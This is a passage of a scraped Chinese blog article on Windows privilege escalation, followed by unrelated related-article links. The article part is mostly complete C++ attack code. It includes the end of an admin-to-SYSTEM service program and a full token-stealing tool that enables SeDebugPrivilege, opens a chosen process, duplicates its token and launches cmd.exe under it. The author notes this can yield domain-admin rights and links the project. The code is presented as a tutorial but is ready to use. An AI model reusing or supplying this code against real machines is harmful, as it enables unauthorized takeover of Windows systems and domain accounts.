      std::cout << "CreateProcessWithTokenW success" << std::endl;
    }
  }
  else {
    std::cout << "CreateProcessWithTokenW success" << std::endl;
  }

  while(1){}
}</code></pre> 
 <p>我们生成了Service.exe,然后把他移到Server.exe同级目录,以管理员权限运行Server.exe,即可达到admin-》system的提权。</p> 
 <p><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/d0f40af1bfb0415cb50de13db79c88a5.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第21张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/d0f40af1bfb0415cb50de13db79c88a5.jpg" width="650" height="208" style="border:1px solid black;"></a></span><br>程序写了四天终于写好了。。WIN7下可以实现完美提权。<br>项目地址:<strong><a href="https://link.segmentfault.com/?url=https%3A%2F%2Fshimo.im%2Fdocs%2FTdpXTY6H9J8jygd8%2Fread" rel="nofollow">https://shimo.im/docs/TdpXTY6...</a></strong></p> 
 <p><strong>令牌窃取</strong></p> 
 <p>SYSTEM->本机上其他用户(包括域用户)(好家伙,只要本机有system权限,域管敢在本机上创建进程就直接能拿到域管权限) 或者admin获取debug权限后去获取SYSTEM权限(这里有一个细节点,只有owner为administrator的SYSTEM进程才能被利用,比如lsass,dllhost)</p> 
 <p>技术细节:通过寻找高权限开启的进程,再复制其令牌用以创建新进程,即可达到提权目的</p> 
 <pre><code>#include <iostream>
#include <Windows.h>


//Only administrator can get debug priv
BOOL GetDebugPriv() {
  HANDLE Token;
  TOKEN_PRIVILEGES tp;
  LUID Luid;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {
    std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
    return false;
  }

  tp.PrivilegeCount = 1;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
    std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;
    return false;
  }
  tp.Privileges[0].Luid = Luid;
  if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){
    std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;
    return false;
  }
  if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
    return false;
  }
  else {
    return true;
  }
}



int main(int argc, char* argv[]) {
  HANDLE t_process;
  HANDLE token = NULL;
  HANDLE token_bak = NULL;
  DWORD process_id;
  sscanf_s(argv[1], "%ul", &process_id);
  WCHAR command[] = L"C:\\Windows\\System32\\cmd.exe";
  STARTUPINFO startupInfo;
  PROCESS_INFORMATION processInformation;
  ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
  startupInfo.cb = sizeof(STARTUPINFO);
  std::cout << argv[1] << std::endl;
  std::cout << "Openning process PID:" << process_id << std::endl;
  if (GetDebugPriv()== TRUE) {
    std::cout << "Got the debug priv" << std::endl;
  }
  else {
    std::cout << "GetDebugPriv ERROR" << std::endl;
  }
  system("whoami /priv");
  t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id);
  if (!t_process) {
    std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;
  }
  if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {
    std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
  }

  if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {
    std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;
  }
  if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {
    std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;
  }
  return 0;
}</code></pre> 
 <p><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/902cff04cd75489c9d4b012514ce6cf4.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第22张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/902cff04cd75489c9d4b012514ce6cf4.jpg" width="650" height="383" style="border:1px solid black;"></a></span><br>这是在win7下的测试结果 const\administrator 是域控</p> 
 <p><span class="img-wrap"></span></p> 
</article>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1430093821273821184"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(Windows提权方法大全汇总(值的收藏))</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1882467791311794176.htm"
                           title="MarsCode青训营打卡Day9(2025年1月22日)|稀土掘金-367.好子数组的计数、291.禁着点方案数" target="_blank">MarsCode青训营打卡Day9(2025年1月22日)|稀土掘金-367.好子数组的计数、291.禁着点方案数</a>
                        <span class="text-muted">Aqua Cheng.</span>
<a class="tag" taget="_blank" href="/search/MarsCode%E9%9D%92%E8%AE%AD%E8%90%A5/1.htm">MarsCode青训营</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>资源引用:367.好子数组的计数291.禁着点方案数今日小记:平台提交系统出现故障,正在维修中~。稀土掘金-367.好子数组的计数(367.好子数组的计数)题目分析:给定一个正整数数组nums,给定一个正整数k,求nums中有多少个连续的子数组中恰好包含k个不同的整数,即“好子数组”的数量。解题重点:用哈希表记录增广窗口确定的连续子数组中的不同整数,哈希表的长度即为连续子数组所包含的不同整数的个数</div>
                    </li>
                    <li><a href="/article/1882467663448436736.htm"
                           title="华为OD机试E卷 - 最大值(Java & Python& JS & C++ & C )" target="_blank">华为OD机试E卷 - 最大值(Java & Python& JS & C++ & C )</a>
                        <span class="text-muted">算法大师</span>
<a class="tag" taget="_blank" href="/search/%E6%9C%80%E6%96%B0%E5%8D%8E%E4%B8%BAOD%E6%9C%BA%E8%AF%95/1.htm">最新华为OD机试</a><a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BAod/1.htm">华为od</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BAOD%E6%9C%BA%E8%AF%95E%E5%8D%B7/1.htm">华为OD机试E卷</a><a class="tag" taget="_blank" href="/search/C%E8%AF%AD%E8%A8%80/1.htm">C语言</a>
                        <div>最新华为OD机试真题目录:点击查看目录华为OD面试真题精选:点击立即查看题目描述给定一组整数(非负),重排顺序后输出一个最大的整数。示例1输入:[10,9]输出:910说明:输出结果可能非常大,所以你需要返回一个字符串而不是整数。输入描述数字组合输出描述最大的整数示例1输入109输出910说明解题思路题目要求是:给定一组</div>
                    </li>
                    <li><a href="/article/1882467411265908736.htm"
                           title="理解WPF中的布局" target="_blank">理解WPF中的布局</a>
                        <span class="text-muted">会敲键盘的肘子</span>
<a class="tag" taget="_blank" href="/search/.Net%E5%AE%9E%E7%94%A8%E6%96%B9%E6%B3%95%E6%80%BB%E7%BB%93/1.htm">.Net实用方法总结</a><a class="tag" taget="_blank" href="/search/wpf/1.htm">wpf</a><a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a>
                        <div>一、理解WPF中的布局在WPF问世之前,Windows开发人员使用刻板的基于坐标的布局将控件放到正确位置。在WPF中,这种方式虽然可行,但已经极少使用。大多数应用程序将使用类似于Web的流(flow)布局;在使用流布局模型时,控件可以扩大,并将其他控件挤到其他位置,开发人员能创建与显示分辨率和窗口大小无关的、在不同的显示器上正确缩放的用户界面;当窗口内容发生变化时,界面可调整自身,并且可以自如地处</div>
                    </li>
                    <li><a href="/article/1882466779930882048.htm"
                           title="WPF实现全屏显示——遮挡任务栏/不遮挡任务栏" target="_blank">WPF实现全屏显示——遮挡任务栏/不遮挡任务栏</a>
                        <span class="text-muted">敲代码的TKP</span>
<a class="tag" taget="_blank" href="/search/wpf/1.htm">wpf</a>
                        <div>不遮挡任务栏实现全屏显示//在后端代码中设置this.WindowState=System.Windows.WindowState.Normal;this.WindowStyle=System.Windows.WindowStyle.None;this.ResizeMode=System.Windows.ResizeMode.NoResize;this.Topmost=true;this.Left</div>
                    </li>
                    <li><a href="/article/1882466780627136512.htm"
                           title="WPF项目:xaml笔记" target="_blank">WPF项目:xaml笔记</a>
                        <span class="text-muted">敲代码的TKP</span>
<a class="tag" taget="_blank" href="/search/wpf/1.htm">wpf</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a>
                        <div>1.设置页面无标题栏/全屏/禁止用户调整大小WindowStyle="None"设置页面无标题栏WindowState="Maximized"设置页面全屏最大化ResizeMode="NoResize"禁止用户调整大小注:页面非全屏(小窗口)时,想取消标题栏,必须禁止用户调整大小,否则会有白边</div>
                    </li>
                    <li><a href="/article/1882466781134647296.htm"
                           title="Java设计模式 三十五 责任链模式 + 中介者模式" target="_blank">Java设计模式 三十五 责任链模式 + 中介者模式</a>
                        <span class="text-muted">空灵宫(Ethereal Palace)</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/%E8%B4%A3%E4%BB%BB%E9%93%BE%E6%A8%A1%E5%BC%8F/1.htm">责任链模式</a>
                        <div>责任链模式+中介者模式责任链模式(ChainofResponsibilityPattern)和中介者模式(MediatorPattern)是两种行为型设计模式,它们分别处理不同的职责和协作方式。将这两种模式结合使用,可以更好地解耦系统中的组件,特别是在需要处理多个对象之间复杂交互的场景中。让我们看看这两种模式的特点以及如何结合使用。责任链模式(ChainofResponsibilityPatter</div>
                    </li>
                    <li><a href="/article/1882466527899348992.htm"
                           title="通过Ftrace实现高效、精确的内核调试与分析" target="_blank">通过Ftrace实现高效、精确的内核调试与分析</a>
                        <span class="text-muted">深度Linux</span>
<a class="tag" taget="_blank" href="/search/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96/1.htm">性能优化</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/LInux%E5%86%85%E6%A0%B8/1.htm">LInux内核</a><a class="tag" taget="_blank" href="/search/%E6%80%A7%E8%83%BD%E5%88%86%E6%9E%90/1.htm">性能分析</a><a class="tag" taget="_blank" href="/search/%E8%B0%83%E8%AF%95%E5%B7%A5%E5%85%B7/1.htm">调试工具</a>
                        <div>虽然之前一直听说过ftrace,但从来没将它用在实战中,在一次客户排查问题中,遇到了比较奇怪的现象,一位精通内核的朋友建议使用ftrace来定位一下。虽然那一次并没有使用ftrace,但也让我觉得,后面我们势必要提供ftrace相关的工具帮助我们在线上定位问题,所以自己也决定重新学习使用下ftrace,当然也决定写一系列的相关出来,这里就先简单介绍下ftrace。一、Ftrace简介1.1Ftra</div>
                    </li>
                    <li><a href="/article/1882466527387643904.htm"
                           title="c语言中的数组(上)" target="_blank">c语言中的数组(上)</a>
                        <span class="text-muted">笛柳戏初雪</span>
<a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a>
                        <div>数组的概念数组是⼀组相同类型元素的集合;数组中存放的是1个或者多个数据,但是数组元素个数不能为0。数组中存放的多个数据,类型是相同的。数组分为⼀维数组和多维数组,多维数组⼀般⽐较多⻅的是⼆维数组。数组创建在C语言中,数组的创建有多种方式,以下是具体介绍:一维数组创建type指定的是数组中存放数据的类型,可以是:char、short、int、float等,也可以⾃定义的类型。arr_name指的是数</div>
                    </li>
                    <li><a href="/article/1882466401067790336.htm"
                           title="基于遗传算法的城市旅行问题(TSP)求解" target="_blank">基于遗传算法的城市旅行问题(TSP)求解</a>
                        <span class="text-muted">NovakG_</span>
<a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/1.htm">神经网络</a>
                        <div>1.遗传算法背景介绍遗传算法是一种基于生物进化论中的自然选择和遗传机制的优化算法,模拟了生物进化过程以搜索最优解。通过仿真染色体的交叉、变异等操作,遗传算法将求解过程转换为类似生物进化的迭代运算。该算法在解决复杂的组合优化问题时,通常比常规优化算法更高效,且具有广泛应用,包括组合优化、机器学习、信号处理、自适应控制和人工生命等领域2.遗传算法基本解题思路遗传算法的设计思路主要受到大自然中生物体进化</div>
                    </li>
                    <li><a href="/article/1882465643144474624.htm"
                           title="补绘IT蓝图[zt]" target="_blank">补绘IT蓝图[zt]</a>
                        <span class="text-muted">Drate</span>
<a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%8C%96%E4%B8%80%E8%A8%80%E8%B0%88/1.htm">信息化一言谈</a><a class="tag" taget="_blank" href="/search/sun/1.htm">sun</a><a class="tag" taget="_blank" href="/search/google/1.htm">google</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84%E8%AE%BE%E8%AE%A1/1.htm">架构设计</a><a class="tag" taget="_blank" href="/search/express/1.htm">express</a><a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a><a class="tag" taget="_blank" href="/search/%E4%BC%81%E4%B8%9A%E5%BA%94%E7%94%A8/1.htm">企业应用</a>
                        <div>在“IT架构风”中,越来越多的企业开始为IT蓝图补课。在Sun工作了16年的MarkConnelly是Sun负责全球系统工程的副总裁,他是Sun的CIO兼资深副总裁BillVass麾下一个部门的负责人。Connelly非常推崇其新上司——2004年8月上任的CIOBillVass所规划的Sun新的IT部门组织架构。在这个新架构中,Sun的IT部门被分成7部分,包括IT策略与架构部、需求创建部、实施</div>
                    </li>
                    <li><a href="/article/1882465645107408896.htm"
                           title="历时 4 年,阿里云推出金融核心系统转型实践书" target="_blank">历时 4 年,阿里云推出金融核心系统转型实践书</a>
                        <span class="text-muted">CSDN云计算</span>
<a class="tag" taget="_blank" href="/search/%E8%B5%84%E8%AE%AF/1.htm">资讯</a><a class="tag" taget="_blank" href="/search/%E4%BA%91%E8%AE%A1%E7%AE%97/1.htm">云计算</a>
                        <div>在过去40年中,基本由国外技术支撑着我国金融行业核心系统的建设。随着近十年来,中国互联网飞速发展,在数字金融领域,中国正发生巨变,如手机支付、纳税平台应用、风控系统等业务的普及,以往国外的实践经验已没有办法引导中国走向数字化时代,由行业、业务带来的巨变正引起我国金融核心系统发生“核”聚变。近几年来,一些大型银行洞察行业变革,开始进行新一代的核心系统的改造,中小银行也在不断探索中,据《中小银行金融科</div>
                    </li>
                    <li><a href="/article/1882465391221993472.htm"
                           title="为AI聊天工具添加一个知识系统 之65 详细设计 之6 变形机器人及伺服跟随" target="_blank">为AI聊天工具添加一个知识系统 之65 详细设计 之6 变形机器人及伺服跟随</a>
                        <span class="text-muted">一水鉴天</span>
<a class="tag" taget="_blank" href="/search/%E8%BD%AF%E4%BB%B6%E6%99%BA%E8%83%BD/1.htm">软件智能</a><a class="tag" taget="_blank" href="/search/%E6%99%BA%E8%83%BD%E5%88%B6%E9%80%A0/1.htm">智能制造</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E8%AF%AD%E8%A8%80/1.htm">人工语言</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a>
                        <div>本文要点要点三种“数”条件:necessaryconditionX-scale,sufficientconditionY-size,INUSconditionZ-score。带自己的下标。下标值范围:scale(水平)1~5,size(垂直)1~3,score(正交基)1~10。三个轴各自的运动规律(平移,竖划,旋转)给出由图形算法支持的具有伺服跟随能力的变形机器人。利用不同感觉器官发挥不同跟随能</div>
                    </li>
                    <li><a href="/article/1882464760667107328.htm"
                           title="零基础C语言之分支结构" target="_blank">零基础C语言之分支结构</a>
                        <span class="text-muted">奋斗的若若</span>
<a class="tag" taget="_blank" href="/search/C%E8%AF%AD%E8%A8%80/1.htm">C语言</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>一个完整的程序包括三种代码控制流程:1.顺序流程2.分支流程3.循环流程这一次我们就要学习分支流程C语言的分支结构包括if语句、switch语句和三目运算符。if语句:if语句用于根据条件执行不同的代码块。其基本语法为:if(条件表达式){//当条件表达式为真时执行的代码}else{//当条件表达式为假时执行的代码}#define_CRT_SECURE_NO_WARNINGS#pragmawarn</div>
                    </li>
                    <li><a href="/article/1882464256901836800.htm"
                           title="Objective-C语言的安全开发" target="_blank">Objective-C语言的安全开发</a>
                        <span class="text-muted">萧澄华</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>Objective-C语言的安全开发引言在当今的信息技术时代,软件的安全性已成为开发者必须重视的重点。随着移动互联网的蓬勃发展,iOS作为重要的移动操作系统,受到越来越多开发者的关注。而Objective-C作为iOS应用开发的主要语言之一,其安全性问题也应引起重视。本文将探讨在Objective-C语言中进行安全开发的最佳实践,帮助开发者在应用编程过程中减少安全隐患,提高应用的安全性。一、了解O</div>
                    </li>
                    <li><a href="/article/1882464130510680064.htm"
                           title="VBA语言的安全开发" target="_blank">VBA语言的安全开发</a>
                        <span class="text-muted">萧澄华</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>VBA语言的安全开发在当今信息化迅猛发展的时代,数据安全和信息保护显得尤为重要。VBA(VisualBasicforApplications)作为一种广泛应用于MicrosoftOffice系列软件的编程语言,因其简易性和强大功能,成为了众多企业和个人用户在日常工作中的热门选择。然而,随着VBA应用的普及,安全隐患也逐渐显露,代码的安全漏洞可能导致信息泄露、数据篡改甚至系统攻击。因此,掌握VBA语</div>
                    </li>
                    <li><a href="/article/1882463752557752320.htm"
                           title="Powershell语言的网络编程" target="_blank">Powershell语言的网络编程</a>
                        <span class="text-muted">依雪凝</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>PowerShell语言的网络编程引言随着信息技术的快速发展,网络编程的应用场景和需求越来越广泛。PowerShell作为一种强大的任务自动化和配置管理框架,它不仅能完成系统管理还能进行网络编程,本篇文章将讲解PowerShell在网络编程方面的应用,包括基础概念、常用命令、实践示例等,希望读者能通过本篇文章深入理解如何使用PowerShell进行网络编程。PowerShell概述PowerShe</div>
                    </li>
                    <li><a href="/article/1882463626300813312.htm"
                           title="java之小六壬算命代码实现——预知自己命运如何!" target="_blank">java之小六壬算命代码实现——预知自己命运如何!</a>
                        <span class="text-muted">钮钴禄·爱因斯晨</span>
<a class="tag" taget="_blank" href="/search/java%E5%AD%A6%E4%B9%A0/1.htm">java学习</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/AIGC/1.htm">AIGC</a><a class="tag" taget="_blank" href="/search/github/1.htm">github</a>
                        <div>我命由我,不由天,是魔是仙,算算就知道了~欢迎来访~个人主页欢迎各位佬们互三哦~互三必回!!#一、小六壬背景介绍1.文化起源小六壬作为中国古代占卜法,文化背景深厚。起源说法不一,流传较广的是唐代李淳风创立“六壬时课”,即小六壬,以区别“大六壬”。也有东汉起源、黄帝时代传说、马前课演化、鬼谷子传承等观点。其发展历程中,唐朝创立后在民间流传,用于日常生活预测;明朝刘基将其用于军事决策;清朝乾隆年间被记</div>
                    </li>
                    <li><a href="/article/1882463374034399232.htm"
                           title="GitHub Actions 使用需谨慎:深度剖析其痛点与替代方案" target="_blank">GitHub Actions 使用需谨慎:深度剖析其痛点与替代方案</a>
                        <span class="text-muted">敖行客 Allthinker</span>
<a class="tag" taget="_blank" href="/search/github/1.htm">github</a>
                        <div>在持续集成与持续部署(CI/CD)领域,GitHubActions曾是众多开发者的热门选择,但如今,其弊端逐渐显现,让不少人在使用前不得不深思熟虑。团队由大约15名工程师组成,采用基于主干的开发方式,每天多次向主分支推送代码。团队代码存储在按模块划分的单一代码库(monorepo)中,结构如下:monorepo/├─api1/├─api2/├─web-app1/├─web-app2/每个文件夹都相</div>
                    </li>
                    <li><a href="/article/1882463373497528320.htm"
                           title="Python 入门路线(2025 极简无废话版)" target="_blank">Python 入门路线(2025 极简无废话版)</a>
                        <span class="text-muted">墨鱼爆蛋</span>
<a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a>
                        <div>大家好,梳理一个Python从入门到精通路线大家都挺忙的,突出一个无废话注:时间仅供参考第一阶段:基础入门(0-3个月)1.Python基础语法开发环境搭建(Python安装、IDE选择)变量和数据类型运算符和表达式控制流(if/else、循环)函数定义与调用基本输入输出2.数据结构基础列表(List)和元组(Tuple)字典(Dict)和集合(Set)字符串处理文件操作3.错误处理try/exc</div>
                    </li>
                    <li><a href="/article/1882463246284288000.htm"
                           title="用Python写了一个好玩的桌面宠物游戏脚本,简单又好玩" target="_blank">用Python写了一个好玩的桌面宠物游戏脚本,简单又好玩</a>
                        <span class="text-muted">墨鱼爆蛋</span>
<a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/Python%E6%B8%B8%E6%88%8F/1.htm">Python游戏</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F/1.htm">游戏</a><a class="tag" taget="_blank" href="/search/%E6%A1%8C%E9%9D%A2%E5%AE%A0%E7%89%A9/1.htm">桌面宠物</a>
                        <div>今天,我们来分享一个宠物桌面小程序,全程都是通过PyQT来制作的,对于PythonGUI感兴趣的朋友,千万不要错过哦!我们先来看看最终的效果,对于一个小小的娱乐项目来说,还是不错啦!好了,废话不多说,我直接上干货,本项目使用PYQT5作为编码框架,如果你对于该框架不是特别熟悉的话,建议先去简单学习一下~源码和素材图片在文末领取!素材图片项目源码展示importsysimportosimportra</div>
                    </li>
                    <li><a href="/article/1882463247165091840.htm"
                           title="Python 上下文管理器:优雅地管理资源" target="_blank">Python 上下文管理器:优雅地管理资源</a>
                        <span class="text-muted">墨鱼爆蛋</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a>
                        <div>一、什么是上下文管理器上下文管理器是一个可以在with语句中使用的对象,它定义了__enter__和__exit__方法,它定义了在进入和退出特定代码块时需要执行的操作,确保资源在使用完毕后能够被正确地释放或清理。二、如何实现上下文管理器Python的上下文管理器通常通过两种方式实现:一种是使用类,另一种是使用生成器。1.使用类实现上下文管理器要实现一个自定义的上下文管理器类,你需要在类中定义两个</div>
                    </li>
                    <li><a href="/article/1882462113272754176.htm"
                           title="判定树、判定表(软件工程)" target="_blank">判定树、判定表(软件工程)</a>
                        <span class="text-muted">匣中鲸</span>
<a class="tag" taget="_blank" href="/search/%E8%BD%AF%E4%BB%B6%E5%B7%A5%E7%A8%8B/1.htm">软件工程</a>
                        <div>1.判定树例题:某航空公司规定,乘客可以免费托运不超过20公斤的行李。当行李重量超过20公斤时,对头等舱的乘客超重部分每公斤收费4元,其它舱的乘客收费6元。对残疾乘客超重部分在舱位等次相同的情况下收费减半。判定树如下:分析清楚条件和结果,用树的形式表示出来。2.判定表判定表分为四个区域:左上方为条件,左下方为工作,右上方为条件判定,右下方为工作判定。(T表示条件成立,F表示不成立)下面是例题的判定</div>
                    </li>
                    <li><a href="/article/1882461861123780608.htm"
                           title="基于阿里云视觉智能平台实现换脸程序" target="_blank">基于阿里云视觉智能平台实现换脸程序</a>
                        <span class="text-muted">zhumin726</span>
<a class="tag" taget="_blank" href="/search/%E9%98%BF%E9%87%8C%E4%BA%91/1.htm">阿里云</a><a class="tag" taget="_blank" href="/search/%E4%BA%91%E8%AE%A1%E7%AE%97/1.htm">云计算</a>
                        <div>简介阿里云视觉智能平台提供了一种强大的换脸功能,能够将视频中的人脸替换成其他图片中的脸。这种功能广泛应用于视频编辑、特效制作等领域。本文将介绍如何使用阿里云视觉智能平台进行视频换脸。核心工作流程整个换脸程序的实现可分为以下几个主要步骤:1身份验证与环境准备阿里云视觉智能平台通过AccessKey机制进行身份认证,确保用户的合法访问。这一过程建立了本地环境与阿里云服务之间的连接。2数据预处理与上传视</div>
                    </li>
                    <li><a href="/article/1882459972885868544.htm"
                           title="Python 如何使用 Bert 进行中文情感分析" target="_blank">Python 如何使用 Bert 进行中文情感分析</a>
                        <span class="text-muted">程序员徐师兄</span>
<a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/%E5%85%A5%E9%97%A8%E4%B8%93%E6%A0%8F/1.htm">入门专栏</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/bert/1.htm">bert</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E6%83%85%E6%84%9F%E5%88%86%E6%9E%90/1.htm">情感分析</a>
                        <div>前言在自然语言处理(NLP)领域,情感分析是一个非常常见且重要的应用。情感分析通常用于识别文本中的情感,例如判断一条微博或评论是正面、负面还是中性。在过去的几年中,随着深度学习的发展,BERT(BidirectionalEncoderRepresentationsfromTransformers)模型迅速成为了处理自然语言的强大工具。BERT是一种基于Transformer架构的预训练模型,它能够</div>
                    </li>
                    <li><a href="/article/1882459972076367872.htm"
                           title="为AI聊天工具添加一个知识系统 之49 “‘之47’和蒙板有关的术语”的腾讯云 AI 代码助手答问(部分)" target="_blank">为AI聊天工具添加一个知识系统 之49 “‘之47’和蒙板有关的术语”的腾讯云 AI 代码助手答问(部分)</a>
                        <span class="text-muted">一水鉴天</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E4%BA%91%E8%AE%A1%E7%AE%97/1.htm">云计算</a>
